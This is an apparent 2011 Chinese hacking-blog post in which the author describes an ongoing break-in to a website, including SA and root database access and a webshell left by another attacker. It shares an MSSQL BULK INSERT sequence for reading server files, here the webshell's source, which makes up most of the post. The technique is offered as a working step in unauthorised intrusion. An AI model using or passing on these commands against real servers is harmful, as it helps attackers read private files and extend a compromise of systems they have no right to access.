MSSQL读取文件 命令

分类:安全 | 2011-11-10 | 撸过 98 次
2人扯谈

这两天一直入侵一个网站 各种提权

包括

mssql:SA

mysql:ROOT

主机是星外的  可以看到目标目录

数据库是ASP的 不能插马

无奈找了很多人都木有办法。。。

今天无聊中查看目录 发现有一个高人上传了一个WEBSHELL

在网上找到了办法 发现用MSSQL读取文件的办法 现在分享一下

    Use webshell.cc;–(这里是随便选的一个数据库)
  drop table cmd;
  create table cmd (a text);
  BULK INSERT cmd
  FROM ‘d:/freehos/webshell.cc.asp’
  WITH (
  FIELDTERMINATOR = ‘n’,
  ROWTERMINATOR = ‘nn’
  )
  select * from cmd
  这样就成功读出了d:/freehos/webshell.cc.asp

本站内容均为原创,转载请务必保留署名与链接!
MSSQL读取文件 命令:https://www.webshell.cc/2043.html
标签:

相关日志

    • @小菜, 一行是一个命令 我的命令也是抄的 你一个一个试试就懂了!